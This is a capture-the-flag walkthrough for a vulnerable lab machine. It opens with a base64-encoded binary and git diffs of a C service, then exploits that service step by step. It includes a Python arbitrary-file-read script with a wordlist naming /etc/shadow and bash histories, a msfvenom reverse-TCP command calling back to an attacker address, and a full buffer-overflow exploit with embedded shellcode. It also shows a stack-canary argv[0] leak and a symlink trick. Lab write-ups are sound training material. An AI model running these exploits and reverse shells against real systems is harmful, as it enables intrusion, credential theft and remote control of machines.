+AL4AAAAAv+ANYADoWv3//0iDRfgCSItF+EiJx+gZ/f//iUXwi0XwSJhIg8ABSAFF+EiDRfgGSItF ++LrgDWAAuT4AAABIiddIicbzSKVIifBIifqLCIkKSI1SBEiNQARIi034SI2F8P3//7rQBwAASInO +SInH6DD9//+4AAAAAMnDVUiJ5UiB7PAHAACJvRz4//9IibUQ+P//SIsFqgQgAL4AAAAASInH6J38 +//9IjYUg+P//utAHAAC+AAAAAEiJx+ik/P//SI2FIPj//7rQBwAASInGvwAAAADom/z//4lF/ItV +/EiNhSD4//+J1kiJx+ja/f//uAAAAADJw2YuDx+EAAAAAAAPHwBBV0FWQYn/QVVBVEyNJc4BIABV +SI0tzgEgAFNJifZJidVMKeVIg+wISMH9A+jH+///SIXtdCAx2w8fhAAAAAAATInqTIn2RIn/Qf8U +3EiDwwFIOet16kiDxAhbXUFcQV1BXkFfw5BmLg8fhAAAAAAA88MAAEiD7AhIg8QIwwAAAAEAAgBy +ACVzAAAAAAEbAzs4AAAABgAAAJT7//+EAAAARPz//1QAAAA6/f//rAAAAOv+///MAAAAdP///+wA +AADk////NAEAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEHEBQAAAAcAAAA6Pv//yoAAAAAAAAAAAAA +ABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAACPv//6AAAAAADhBGDhhKDwt3CIAAPxo7 +KjMkIgAAAAAcAAAARAAAAIb8//+xAQAAAEEOEIYCQw0GA6wBDAcIABwAAABkAAAAF/7//3wAAAAA +QQ4QhgJDDQYCdwwHCAAARAAAAIQAAACA/v//ZQAAAABCDhCPAkIOGI4DRQ4gjQRCDiiMBUgOMIYG +SA44gwdNDkByDjhBDjBBDihCDiBCDhhCDhBCDggAFAAAAMwAAACo/v//AgAAAAAAAAAAAAAAAAAA +AAAAAAAgB0AAAAAAAAAHQAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAADAAAAAAAAAB4BUAA +AAAAAA0AAAAAAAAA9AlAAAAAAAAZAAAAAAAAAGALYAAAAAAAGwAAAAAAAAAIAAAAAAAAABoAAAAA +AAAAaAtgAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAABgAkAAAAAAAAUAAAAAAAAAqANAAAAA +AAAGAAAAAAAAAIgCQAAAAAAACgAAAAAAAAB+AAAAAAAAAAsAAAAAAAAAGAAAAAAAAAAVAAAAAAAA +AAAAAAAAAAAAAwAAAAAAAABQDWAAAAAAAAIAAAAAAAAA2AAAAAAAAAAUAAAAAAAAAAcAAAAAAAAA +FwAAAAAAAACgBEAAAAAAAAcAAAAAAAAAcARAAAAAAAAIAAAAAAAAADAAAAAAAAAACQAAAAAAAAAY +AAAAAAAAAP7//28AAAAAQARAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAAAmBEAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeAtgAAAAAAAAAAAA +AAAAAAAAAAAAAAAAtgVAAAAAAADGBUAAAAAAANYFQAAAAAAA5gVAAAAAAAD2BUAAAAAAAAYGQAAA +AAAAFgZAAAAAAAAmBkAAAAAAADYGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAEdDQzogKERlYmlhbiA2 +LjEuMS0xMSkgNi4xLjEgMjAxNjA4MDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAB +AAACQAAAAAAAAAAAAAAAAAAAAAAAAwACABwCQAAAAAAAAAAAAAAAAAAAAAAAAwADADwCQAAAAAAA +AAAAAAAAAAAAAAAAAwAEAGACQAAAAAAAAAAAAAAAAAAAAAAAAwAFAIgCQAAAAAAAAAAAAAAAAAAA +AAAAAwAGAKgDQAAAAAAAAAAAAAAAAAAAAAAAAwAHACYEQAAAAAAAAAAAAAAAAAAAAAAAAwAIAEAE +QAAAAAAAAAAAAAAAAAAAAAAAAwAJAHAEQAAAAAAAAAAAAAAAAAAAAAAAAwAKAKAEQAAAAAAAAAAA +AAAAAAAAAAAAAwALAHgFQAAAAAAAAAAAAAAAAAAAAAAAAwAMAKAFQAAAAAAAAAAAAAAAAAAAAAAA +AwANAEAGQAAAAAAAAAAAAAAAAAAAAAAAAwAOAFAGQAAAAAAAAAAAAAAAAAAAAAAAAwAPAPQJQAAA +AAAAAAAAAAAAAAAAAAAAAwAQAAAKQAAAAAAAAAAAAAAAAAAAAAAAAwARAAwKQAAAAAAAAAAAAAAA +AAAAAAAAAwASAEgKQAAAAAAAAAAAAAAAAAAAAAAAAwATAGALYAAAAAAAAAAAAAAAAAAAAAAAAwAU +AGgLYAAAAAAAAAAAAAAAAAAAAAAAAwAVAHALYAAAAAAAAAAAAAAAAAAAAAAAAwAWAHgLYAAAAAAA +AAAAAAAAAAAAAAAAAwAXAEgNYAAAAAAAAAAAAAAAAAAAAAAAAwAYAFANYAAAAAAAAAAAAAAAAAAA +AAAAAwAZALANYAAAAAAAAAAAAAAAAAAAAAAAAwAaAMANYAAAAAAAAAAAAAAAAAAAAAAAAwAbAAAA +AAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAQAVAHALYAAAAAAAAAAA +AAAAAAAZAAAAAgAOAIAGQAAAAAAAAAAAAAAAAAAbAAAAAgAOAMAGQAAAAAAAAAAAAAAAAAAuAAAA +AgAOAAAHQAAAAAAAAAAAAAAAAABEAAAAAQAaAMgNYAAAAAAAAQAAAAAAAABTAAAAAQAUAGgLYAAA +AAAAAAAAAAAAAAB6AAAAAgAOACAHQAAAAAAAAAAAAAAAAACGAAAAAQATAGALYAAAAAAAAAAAAAAA +AAClAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAS +AFgLQAAAAAAAAAAAAAAAAAC7AAAAAQAVAHALYAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAA +AAAAAAAAAADHAAAAAAATAGgLYAAAAAAAAAAAAAAAAADYAAAAAQAWAHgLYAAAAAAAAAAAAAAAAADh +AAAAAAATAGALYAAAAAAAAAAAAAAAAAD0AAAAAAARAAwKQAAAAAAAAAAAAAAAAAAHAQAAAQAYAFAN +YAAAAAAAAAAAAAAAAAAdAQAAEgAOAPAJQAAAAAAAAgAAAAAAAAAtAQAAIAAAAAAAAAAAAAAAAAAA +AAAAAABJAQAAEQAaAMANYAAAAAAACAAAAAAAAAD6AQAAIAAZALANYAAAAAAAAAAAAAAAAABdAQAA +EAAZAMANYAAAAAAAAAAAAAAAAAAnAQAAEgAPAPQJQAAAAAAAAAAAAAAAAABkAQAAEgAAAAAAAAAA +AAAAAAAAAAAAAAB4AQAAEgAAAAAAAAAAAAAAAAAAAAAAAACMAQAAEgAAAAAAAAAAAAAAAAAAAAAA +AACgAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAC0AQAAEgAAAAAAAAAAAAAAAAAAAAAAAADGAQAAEgAA +AAAAAAAAAAAAAAAAAAAAAADlAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAD4AQAAEAAZALANYAAAAAAA +AAAAAAAAAAAFAgAAIAAAAAAAAAAAAAAAAAAAAAAAAAAUAgAAEQIZALgNYAAAAAAAAAAAAAAAAAAh +AgAAEgAAAAAAAAAAAAAAAAAAAAAAAAA0AgAAEQAQAAAKQAAAAAAABAAAAAAAAABDAgAAEgAOAIAJ +QAAAAAAAZQAAAAAAAADTAAAAEAAaANgPYAAAAAAAAAAAAAAAAAD+AQAAEgAOAFAGQAAAAAAAKgAA +AAAAAABTAgAAEAAaAMANYAAAAAAAAAAAAAAAAABfAgAAEgAOAPcIQAAAAAAAfAAAAAAAAABkAgAA +EgAAAAAAAAAAAAAAAAAAAAAAAAB3AgAAIAAAAAAAAAAAAAAAAAAAAAAAAACLAgAAEgAOAEYHQAAA +AAAAsQEAAAAAAACZAgAAEQIZAMANYAAAAAAAAAAAAAAAAAClAgAAIAAAAAAAAAAAAAAAAAAAAAAA +AAC/AgAAEQAaAOANYAAAAAAA9AEAAAAAAABNAgAAEgALAHgFQAAAAAAAAAAAAAAAAAAAY3J0c3R1 +ZmYuYwBfX0pDUl9MSVNUX18AZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNf +YXV4AGNvbXBsZXRlZC42OTc5AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5 +AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBjdGZ0cC5jAF9fRlJB +TUVfRU5EX18AX19KQ1JfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJy +YXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNf +Y3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN0ZG91dEBAR0xJQkNfMi4yLjUA +X2VkYXRhAHN0cmxlbkBAR0xJQkNfMi4yLjUAc2V0YnVmQEBHTElCQ18yLjIuNQBwcmludGZAQEdM +SUJDXzIuMi41AG1lbXNldEBAR0xJQkNfMi4yLjUAcmVhZEBAR0xJQkNfMi4yLjUAX19saWJjX3N0 +YXJ0X21haW5AQEdMSUJDXzIuMi41AGZnZXRzQEBHTElCQ18yLjIuNQBfX2RhdGFfc3RhcnQAX19n +bW9uX3N0YXJ0X18AX19kc29faGFuZGxlAG1lbWNweUBAR0xJQkNfMi4xNABfSU9fc3RkaW5fdXNl +ZABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBmb3BlbkBAR0xJQkNfMi4yLjUAX0p2 +X1JlZ2lzdGVyQ2xhc3NlcwBwYXJzZV9yZXF1ZXN0AF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJU +TUNsb25lVGFibGUAdG9fd3JpdGUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAu +bm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3Ry +AC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5w +bHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRf +YXJyYXkALmZpbmlfYXJyYXkALmpjcgAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21t +ZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAAACQAAAAAAAAAIAAAAAAAAcAAAAAAAAAAAA +AAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAAAcAkAAAAAAABwCAAAAAAAAIAAA +AAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIAAAAAAAAAPAJAAAAAAAA8AgAA +AAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAPb//28CAAAAAAAAAGACQAAA +AAAAYAIAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAAAAAAAE4AAAALAAAAAgAAAAAA +AACIAkAAAAAAAIgCAAAAAAAAIAEAAAAAAAAGAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABWAAAAAwAA +AAIAAAAAAAAAqANAAAAAAACoAwAAAAAAAH4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA +XgAAAP///28CAAAAAAAAACYEQAAAAAAAJgQAAAAAAAAYAAAAAAAAAAUAAAAAAAAAAgAAAAAAAAAC +AAAAAAAAAGsAAAD+//9vAgAAAAAAAABABEAAAAAAAEAEAAAAAAAAMAAAAAAAAAAGAAAAAQAAAAgA +AAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAcARAAAAAAABwBAAAAAAAADAAAAAAAAAABQAA +AAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAKAEQAAAAAAAoAQAAAAAAADYAAAA +AAAAAAUAAAAYAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAAAAAAAAB4BUAAAAAAAHgFAAAA +AAAAGgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAAAQAAAAYAAAAAAAAAoAVAAAAA +AACgBQAAAAAAAKAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAlAAAAAEAAAAGAAAAAAAA +AEAGQAAAAAAAQAYAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ0AAAABAAAA +BgAAAAAAAABQBkAAAAAAAFAGAAAAAAAAogMAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACj +AAAAAQAAAAYAAAAAAAAA9AlAAAAAAAD0CQAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAA +AAAAAAAAqQAAAAEAAAACAAAAAAAAAAAKQAAAAAAAAAoAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAA +AAAAAAAAAAAAAAAAALEAAAABAAAAAgAAAAAAAAAMCkAAAAAAAAwKAAAAAAAAPAAAAAAAAAAAAAAA +AAAAAAQAAAAAAAAAAAAAAAAAAAC/AAAAAQAAAAIAAAAAAAAASApAAAAAAABICgAAAAAAABQBAAAA +AAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAyQAAAA4AAAADAAAAAAAAAGALYAAAAAAAYAsAAAAA +AAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANUAAAAPAAAAAwAAAAAAAABoC2AAAAAA +AGgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADhAAAAAQAAAAMAAAAAAAAA +cAtgAAAAAABwCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA5gAAAAYAAAAD +AAAAAAAAAHgLYAAAAAAAeAsAAAAAAADQAQAAAAAAAAYAAAAAAAAACAAAAAAAAAAQAAAAAAAAAJgA +AAABAAAAAwAAAAAAAABIDWAAAAAAAEgNAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAA +AAAAAADvAAAAAQAAAAMAAAAAAAAAUA1gAAAAAABQDQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA +AAAAAAgAAAAAAAAA+AAAAAEAAAADAAAAAAAAALANYAAAAAAAsA0AAAAAAAAQAAAAAAAAAAAAAAAA +AAAACAAAAAAAAAAAAAAAAAAAAP4AAAAIAAAAAwAAAAAAAADADWAAAAAAAMANAAAAAAAAGAIAAAAA +AAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAADAQAAAQAAADAAAAAAAAAAAAAAAAAAAADADQAAAAAA +ACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA +6BcAAAAAAAAMAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAA +AAAAAAAAAOgNAAAAAAAAOAcAAAAAAAAeAAAALwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAA +AAAAAAAAAAAAAAAAAAAgFQAAAAAAAMgCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA commit 9b5c226d15d611d6957f3fda7c993186270a6cc4 Author: alice <alice@baffle.me> Date: Mon Oct 17 14:52:40 2016 -0400 Made it into a write-type-thing instead diff --git a/hellofriend.cb/hellofriend.c index d5cbbf9..10a4d9e 100644 --- a/hellofriend.c +++ b/hellofriend.c @@ -2,29 +2,37 @@ #include <string.h> #include <unistd.h> +char to_write[500]; + int parse_request(char *req, int n) { + char data[500]; char file[500]; char file_content[500]; int file_len; + int req_type; + char mode[10]; char *ptr = req; FILE *fp; memset(file, 0, sizeof(file)); + memset(mode, 0, sizeof(mode)); + + memset(data, 0, sizeof(data)); + memset(to_write, 0, sizeof(to_write)); + + ptr = (char *)ptr + 2; + file_len = strlen(ptr); + + ptr = (char *)ptr + file_len + 1; + ptr = (char *)ptr + 6; - ptr = (char *)ptr + 2; - FiLe_len = n - 2 - 5 - 2; - memcpy(file, ptr, file_len); + memcpy(to_write, ptr, 500); + memcpy(data, ptr, 2000); - fp = fopen(file, "r"); - if (fp) { - memset(file_content, 0, sizeof(file_content)); - fgets(file_content, sizeof(file_content), fp); - printf("%s", file_content); - } return 0; } -int mAin(int arGc, char *argv[]) { +int main(int argc, char *argv[]) { char buf[2000]; int n; @@ -32,7 +40,7 @@ int mAin(int arGc, char *argv[]) { memset(buf, 0, sizeof(buf)); n = read(0, buf, sizeof(buf)); - p{ARSE_REQUEST}(buf, n); + parse_request(buf, n); return 0; } commit 06483346fab91b2b17471074a887ac7dffd9ceda Author: alice <alice@baffle.me> Date: Mon Oct 17 14:44:25 2016 -0400 My cat danced on the keyboard diff --git a/hellofriend.cb/hellofriend.c index c2c9046..d5cbbf9 100644 --- a/hellofriend.c +++ b/hellofriend.c @@ -12,7 +12,7 @@ int parse_request(char *req, int n) { memset(file, 0, sizeof(file)); ptr = (char *)ptr + 2; - file_len = n - 2 - 5 - 2; + FiLe_len = n - 2 - 5 - 2; memcpy(file, ptr, file_len); fp = fopen(file, "r"); @@ -24,7 +24,7 @@ int parse_request(char *req, int n) { return 0; } -int main(int argc, char *argv[]) { +int mAin(int arGc, char *argv[]) { char buf[2000]; int n; @@ -32,7 +32,7 @@ int main(int argc, char *argv[]) { memset(buf, 0, sizeof(buf)); n = read(0, buf, sizeof(buf)); - parse_request(buf, n); + p{ARSE_REQUEST}(buf, n); return 0; } commit 7edc47a1c3e4dc880a7191915bdbf1565c6b7441 Author: alice <alice@baffle.me> Date: Mon Oct 17 14:37:14 2016 -0400 This coder turned coffee into code. You won't believe how she did it! diff --git a/hellofriend.cb/hellofriend.c index 21c5a19..c2c9046 100644 --- a/hellofriend.c +++ b/hellofriend.c @@ -3,10 +3,26 @@ #include <unistd.h> int parse_request(char *req, int n) { - return 0; -} + char file[500]; + char file_content[500]; + int file_len; + char *ptr = req; + FILE *fp; + + memset(file, 0, sizeof(file)); + ptr = (char *)ptr + 2; + file_len = n - 2 - 5 - 2; + memcpy(file, ptr, file_len); + fp = fopen(file, "r"); + if (fp) { + memset(file_content, 0, sizeof(file_content)); + fgets(file_content, sizeof(file_content), fp); + printf("%s", file_content); + } + return 0; +} int main(int argc, char *argv[]) { char buf[2000]; commit d7a1f067a2f4ac469bc4cf77c689a34e2286b665 Author: alice <alice@baffle.me> Date: Mon Oct 17 14:30:20 2016 -0400 Hello, friend... diff --git a/hellofriend.cb/hellofriend.c new file mode 100644 index 0000000..21c5a19 --- /dev/null +++ b/hellofriend.c @@ -0,0 +1,22 @@ +#include <stdio.h> +#include <string.h> +#include <unistd.h> + +int parse_request(char *req, int n) { + return 0; +} + + + +int main(int argc, char *argv[]) { + char buf[2000]; + int n; + + setbuf(stdout, 0); + + memset(buf, 0, sizeof(buf)); + n = read(0, buf, sizeof(buf)); + parse_request(buf, n); + + return 0; +} 




If you look closely at the commit My cat danced on the keyboard , then it is not very similar to the cat that walked through the keyboard. Replaced only some characters. Having tried to extract these changes, we notice the pattern, and with it the flag:

+ FiLe_len = n - 2 - 5 - 2;

+ int mAin (int arGc, char * argv []) {

+ p {ARSE_REQUEST} (buf, n);


FLAG {ARSE_REQUEST}



PS Where is the reverse, you ask? Here's a reverse for you, the first flag was a distracting warm-up :)



Flag 2 (alice)



In addition to the flag, we find out from the log that the user alice has created, and deleted a certain file: project.enc . Cancel the last commit in order to return this file:



 $ git revert HEAD $ ls hellofriend.c project.enc 


The contents of the file clearly resembles base64, so we send it to the site , and convert it back to a binary form.



 $ file * base64.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=8d8f87535451003b05db15d14d07818576813b49, not stripped 


Let's see what's inside by opening the file in IDA. Looking carefully, you can see that this file contains all the edits that were made to the git project. After minor edits, the main function looks like this:







This is where 2000 characters are read, which are then passed to the parse_request function:







The parse_request function, if the second byte is 0x01 , reads the first 500 bytes from the file, or if the second byte is 0x02 , it copies the resulting string to the buffer.



At the same time 2 vulnerabilities and 1 error are traced:



  1. View files
  2. Array bounds
  3. Buffer overflow


Let's stop while on the first, and we will create a script on Python for its operation:



 #!/usr/bin/python import socket import time import sys port = 6969 host = "192.168.1.190" def readFile(fPath): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) action_byte = "\x01" shell = "0" + action_byte + fPath + "000000" s.send(('%s\n' %(shell)).encode()) time.sleep(0.3) try: data = s.recv(1024) if len(data) != 0: print("File: %s found" %(fPath)) print(data) s.close() except: pass ext = ['', '.txt'] words = open(sys.argv[1], 'r').read().splitlines() for item in words: for e in ext: fPath = '%s%s' %(item, e) readFile(fPath) 


Based on the information received, we will generate a small dictionary to iterate through the available files:



Vocabulary
/ home / alice / flag

/ flag

/ home / flag

/ var / www / html / flag

/ var / www / flag

/home/alice/.bash_history

/ root / flag

/ etc / shadow

/root/.bash_history



After launch, we get the first flag:



 $ ./exploit.py dict.lst File: /flag.txt found FLAG{is_there_an_ivana_tinkle} 


Flag 3 (bob)



Judging by the fact that the contents of / etc / shadow , it did not give us, apparently the service was launched on behalf of some user.



Reading the files is good, but there is still overflow and buffer overflow.



Here it should be noted that the function strlen , according to the specification, returns the number of characters before the first occurrence of the terminator zero. Therefore, by adding the terminator zero to the input line with 7 characters, it is possible to bypass the overflow. Check it out:



 $ python -c 'print("\x02\x02" + "A"*20 + "\x00"*7 + "123456B"*200)' | ltrace ./base64.bin 






As you can see, strlen returned 20, and everything was copied to the data buffer starting with “123456B” .



It remains to find the offset, on which the return address is located on the stack, and rewrite it. We will overwrite the address 0x600de0 , which is the array to_write . You can find the return address with the following command:



 $ python -c 'print("\x02\x02" +"A"*20 + "\x00"*7 + "A"*536 + "\xe0\x0d\x60\x00\x00\x00" + "\x00"*2000)' | gdb -ex "run" -ex "q" ./base64.bin 


PS The value of 536 was obtained experimentally, during the selection, taking into account that the final buffer has a size of 500 bytes.







Everything you need to write an exploit is available, it's time to start this. Using msfvenom from the Metaspoit Framework set, we will generate a shell:



 $ sudo msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d" > exploit2.py 


Start the handler: Edit the exploit2.py







file a bit :



exploit2.py
 #!/usr/bin/python import socket import time import sys import struct port = 6969 host = "192.168.1.190" bypass = "\x02\x02" + "A"*20 + "\x00"*7 buf = "" buf += "\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05" buf += "\xef\xff\xff\xff\x48\xbb\x8b\xe0\xc2\x5c\x5b\xbf\x3d" buf += "\x9b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" buf += "\xc3\xd1\x3d\x36\x52\xe7\xa4\x2d\x9b\xa8\x4b\x8a\x16" buf += "\x8e\xf4\xf1\xa9\xa1\x98\xee\x5c\xb0\x38\xcd\xdb\x8a" buf += "\xeb\x04\xc2\xd5\x3f\xc4\xe1\xe1\x9c\x53\x5e\xf7\xaa" buf += "\xd3\x32\xe2\xc2\x7b\x54\x7f\x95\x9a\xf7\xb1\x8a\xd5" buf += "\xbd\xd5\x2d\xc1\xe1\xca\x9a\x53\x5e\xe6\x63\xc1\x84" buf += "\xe5\x3d\xba\x5b\xbf\x3d\x9b" payload = bypass + buf + "\x90"*(536-len(buf)) payload += "\xe0\x0d\x60\x00\x00\x00\x00\x00" + "\x00"*2000 def bof(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) s.close() w = open('payload', 'wb') w.write(payload) w.close() bof() 




And after launch, we get the long-awaited shell:



 $ python2 ./exploit2.py 






Let's try to find more flags:



 find / -name flag.txt 2>/dev/null /home/bob/filez/flag.txt /flag.txt 


Looking into the directory with the flag, it becomes clear that even here we cannot do without reverse:



 ls -ahl /home/bob/filez total 24K drwxr-xr-x 2 charlie charlie 4.0K Oct 25 04:07 . drwxr-xr-x 5 bob bob 4.0K Oct 25 04:21 .. -r--r----- 1 charlie charlie 50 Oct 25 03:51 auth.txt -r--r----- 1 charlie charlie 29 Oct 23 08:06 flag.txt -rwsr-xr-x 1 charlie charlie 6.7K Oct 25 03:45 flag_vault 


Ok, download flag_vault for further analysis. At the same time, check the availability of ASLR on the remote machine:



 cat /proc/sys/kernel/randomize_va_space 2 


The file was downloaded, and as it turned out has protection:



 $ gdb -q ./flag_vault Reading symbols from ./flag_vault...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$ 


In IDA, this file looks like this:







It is worth saying that there are 2 ways to take a flag: easy, and more complex. Consider them both:



1. The way cheater



As you can see, the file paths are relative. This means that we can create an auth.txt file with our verification code in the home directory of the user alice , and next to create a link to the original file /home/bob/filez/flag.txt Next, go to the / home / alice directory , run the file / home / bob / filez / flag_vault , enter your code, which is checked with our file auth.txt and get the flag:















2. The path of the present reverse engineer



After a long search, I came across a vulnerability in the __stack_chk_fail function . Judging by the description, this is just our case, it remains to find the offset along which argv [0] is located and to try to rewrite it. Run this binary in the peda :







When running under debugging, it is noticeable that the nearest location of argv [0] can be found at: 0xbffff794 .



  0x08048730 <+293>: lea eax,[ebp-0x110] 0x08048736 <+299>: push eax 0x08048737 <+300>: push 0x0 0x08048739 <+302>: call 0x8048460 <read@plt> 


The read function starts filling the stack at the ebp-272 offset , knowing that it’s not hard to calculate the offset: (0xbffff794 - 0xbffff6e8 - 272) = 444 characters, which you can rewrite argv [0] .



Great, now theoretically we can read the memory of the current process. If you look at the code, you will notice that the files are read into static variables:



 .text:080486E8 push offset modes ; "r" .text:080486ED push offset aAuth_txt ; "auth.txt" .text:080486F2 call _fopen .text:080486F7 add esp, 16 .text:080486FA mov [ebp+var_114], eax .text:08048700 sub esp, 4 .text:08048703 push [ebp+var_114] ; stream .text:08048709 push 60 ; n .text:0804870B push 8049CE0h ; pass .text:08048710 call _fgets 


In this case, the most interesting will be the value at the address 0x8049CE0 , since that is where the contents of the auth.txt file are read .



Check it out:



 python -c 'import struct;print("A"*20 + "\x00"*424 + struct.pack("<I",0x8049CE0))' | ./flag_vault 






Great, we have a password, you can get the flag:







Flag 4 (charlie)



After long attempts to increase privileges through this application, as well as search for other options, I hammered the command:



 find / -user alice 2>/dev/null | grep -v proc /home/alice /home/alice/ctftp /home/alice/.profile /home/alice/auth.txt /home/alice/.bash_history /home/alice/.bashrc /home/alice/flag.txt /home/alice/.bash_logout /var/mail/alice /flag.txt 


Hmm, looking at the mail, it becomes clear where to go next:



 cat /var/mail/alice 


Message from bob
From bob@baffle.me Thu Jan 2 11:38:22 2014

Return-Path: <root@baffle.me>

X-Original-To: alice

Delivered-To: alice@baffle.me

Received: by baffle.me (Postfix, from userid 0)

id B612F2C0E36; Thu, 2 Jan 2014 11:38:22 -0800 (PST)

From: Bob <bob@baffle.me>

To: alice@baffle.me

Subject: Flag #2

Message-Id: <2014010204825.B612F2C0E36@baffle.me>

Date: Thu, 2 Jan 2014 11:38:22 -0800 (PST)



Alice,



I need you to login to my account. My password is in /home/bob/flag.txt

You'll need to authenticate to Flag Vault in order to get its contents.



-

Bob




Login using ssh, and immediately attention is drawn to the .bash_history file



 bob@baffle:~$ cat .bash_history 


.bash_history
 ls -la cat .plan cd binz/ ls -la cd .. ls ls -la ps -efa exit ls -latr whoami su - charlie my_kn1ck3rz_r_bunch3d cd filez/ ls -altr date cd .. ls -latr clear ls cd binz/ ls cd .. ls exit 




The phrase “my_kn1ck3rz_r_bunch3d” unfortunately did not fit as a password, but still save it for now, the .plan file also helped a little, but in the binz directory , a certain demon awaits its fate:







Look at what port it hangs:



 bob@baffle:~$ netstat -ln tcp 0 0 127.0.0.1:7979 0.0.0.0:* LISTEN 


And actually try to connect to it:



 bob@baffle:~$ nc localhost 7979 






The flag is clearly the user of Charlie . It remains to get it. Let's see what's inside this demon by opening it in IDA:



query_user (int fd)
 .text:0000000000400B86 ; __int64 __fastcall query_user(int fd) .text:0000000000400B86 public query_user .text:0000000000400B86 query_user proc near ; CODE XREF: main+10D .text:0000000000400B86 .text:0000000000400B86 fd = dword ptr -4E4h .text:0000000000400B86 file_cntx = qword ptr -4D8h .text:0000000000400B86 s = byte ptr -4D0h .text:0000000000400B86 var_4B0 = byte ptr -4B0h .text:0000000000400B86 file = byte ptr -460h .text:0000000000400B86 buf = byte ptr -3F0h .text:0000000000400B86 var_8 = qword ptr -8 .text:0000000000400B86 .text:0000000000400B86 push rbp .text:0000000000400B87 mov rbp, rsp .text:0000000000400B8A sub rsp, 4F0h .text:0000000000400B91 mov [rbp+fd], edi .text:0000000000400B97 mov rax, fs:28h .text:0000000000400BA0 mov [rbp+var_8], rax .text:0000000000400BA4 xor eax, eax .text:0000000000400BA6 mov dword ptr 